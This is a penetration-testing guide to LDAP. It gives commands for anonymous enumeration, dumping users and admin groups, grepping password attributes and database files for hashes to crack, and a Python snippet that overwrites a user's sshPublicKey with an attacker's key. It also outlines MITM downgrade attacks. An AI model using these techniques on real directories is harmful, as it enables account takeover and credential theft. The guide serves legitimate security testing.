389, 636, 3268, 3269 - Pentesting LDAP

Basic Information

Extracted from: https://searchmobilecomputing.techtarget.com/definition/LDAP

LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).

An LDAP directory can be distributed among many servers. Each server can have a replicated version of the total directory that is synchronized periodically. An LDAP server is called a Directory System Agent (DSA). An LDAP server that receives a request from a user takes responsibility for the request, passing it to other DSAs as necessary, but ensuring a single coordinated response for the user.

An LDAP directory is organized in a simple "tree" hierarchy consisting of the following levels:

  • The root directory (the starting place or the source of the tree), which branches out to

  • Countries, each of which branches out to

  • Organizations, which branch out to

  • Organizational units (divisions, departments, and so forth), which branches out to (includes an entry for)

  • Individuals (which includes people, files, and shared resources such as printers)

Default port: 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS.

PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped

Basic Enumeration

Manual

You can try to enumerate a LDAP with or without credentials using python: pip3 install ldap3

First try to connect without credentials:

>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info

If the response is True like in the previous example, you can obtain some interesting data of the LDAP (like the naming context or domain name) server from:

>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts: 
dc=DOMAIN,dc=DOMAIN

Once you have the naming context you can make some more exciting queries. This simply query should show you all the objects in the directory:

>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

Or dump the whole ldap:

>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

Automated

Using this you will be able to see the public information (like the domain name):

nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Write data

Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you can change the "sshPublicKey" information of your user or any user. It's highly probable that if this attribute exist, then ssh is reading the public keys from LDAP. If you can modify the public key of a user you will be able to login as that user even if password authentication is not enabled in ssh.

>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

Example taken from: https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/

Clear text credentials

If LDAP is used without SSL you can sniff credentials in plain text in the network.

Also, you can perform a MITM attack in the network between the LDAP server and the client. Here you can make a Downgrade Attack so the client with use the credentials in clear text to login.

If SSL is used you can try to make MITM like the mentioned above but offering a false certificate, if the user accepts it, you are able to Downgrade the authentication method and see the credentials again.

Valid Credentials

If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using:

ldapdomaindump

pip3 install ldapdomaindump 
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

Brute Force

Manual

ldapsearch

Check null credentials or if your credentials are valid:

ldapsearch -x -h <IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TDL>"
ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TDL>"
## CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v3839

If you find something saying that the "bind must be completed" means that the credentials arr incorrect.

You can extract everything from a domain using:

ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TDL>"
-x Simple Authentication
-h LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

Extract users:

ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"
#Example: ldapsearch -x -h <IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

Extract computers:

ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TDL>"

Extract my info:

ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"

Extract Domain Admins:

ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"

Extract Domain Users:

ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"

Extract Enterprise Admins:

ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"

Extract Administrators:

ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TDL>"

Extract Remote Desktop Group:

ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TDL>"

To see if you have access to any password you can use grep after executing one of the queries:

<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

Please, notice that the passwords that you can find here could not be the real ones...

pbis

You can download pbis from here: https://github.com/BeyondTrust/pbis-open/ and it's usually installed in /opt/pbis. Pbis allow you to get basic information easily:

#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
    echo "$line";
    ./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
    echo "======================"
done

Graphical Interface

Apache Directory

****Download Apache Directory from here. You can find an example of how to use this tool here.

jxplorer

You can download a graphical interface with LDAP server here: http://www.jxplorer.org/downloads/users.html

By default is is installed in: /opt/jxplorer

Authentication via kerberos

Using ldapsearch you can authenticate against kerberos instead of via NTLM by using the parameter -Y GSSAPI

POST

If you can access the files where the databases are contained (could be in /var/lib/ldap). You can extract the hashes using:

cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

You can feed john with the password hash (from '{SSHA}' to 'structural' without adding 'structural').

Configuration Files

  • General

    • containers.ldif

    • ldap.cfg

    • ldap.conf

    • ldap.xml

    • ldap-config.xml

    • ldap-realm.xml

    • slapd.conf

  • IBM SecureWay V3 server

    • V3.sas.oc

  • Microsoft Active Directory server

    • msadClassesAttrs.ldif

  • Netscape Directory Server 4

    • nsslapd.sas_at.conf

    • nsslapd.sas_oc.conf

  • OpenLDAP directory server

    • slapd.sas_at.conf

    • slapd.sas_oc.conf

  • Sun ONE Directory Server 5.1

    • 75sas.ldif

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